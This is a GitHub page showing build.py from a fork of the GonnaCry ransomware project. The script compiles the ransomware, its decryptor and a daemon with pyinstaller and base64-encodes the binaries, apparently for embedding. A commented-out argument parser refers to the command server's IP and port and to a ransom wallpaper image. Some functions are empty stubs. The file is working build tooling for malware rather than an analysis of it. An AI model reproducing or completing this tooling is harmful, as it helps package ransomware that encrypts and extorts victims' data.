forked from tarcisio-marinho/GonnaCry
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbuild.py
75 lines (45 loc) · 1.47 KB
/
build.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
import argparse
import base64, os, sys
"""
parser = argparse.ArgumentParser(description='Build GonnaCry.', add_help=True)
parser.add_argument('-i', '--ip', type=str, required=True, metavar='[FILE]',
help='Ip address of the server. GonnaCry will try to connect to')
parser.add_argument('-p', '--port', type=str, required=False, metavar='[FILE]',
help='Port of the server.')
parser.add_argument('-I', '--img', type=str, required=False, metavar='[FILE]',
help='Img to change wallpaper and display on GonnaCry execution.')
args = parser.parse_args()
"""
def error(s):
print(s)
sys.exit(-1)
def build(program):
command = 'pyinstaller -F --clean GonnaCry/{}.py -n {}'.format(program, program)
os.system(command)
try:
with open('dist/{}'.format(program), 'rb') as f:
ret = f.read()
output64 = base64.b64encode(ret)
except:
error('{} binary doesnt exist, compilation failed.'.format(program))
with open('dist/base64{}'.format(program), 'wb') as f:
f.write(output64)
return output64
def build_gonnacry():
build('gonnacry')
def build_decryptor():
return build('decryptor')
def build_daemon():
return build('daemon')
def change_gonnacry_binaries():
img = ''
decryptor = ''
daemon = ''
def clean_dist():
command = ''
def main():
decryptor64 = build_decryptor()
daemon64 = build_daemon()
if __name__ =='__main__':
main()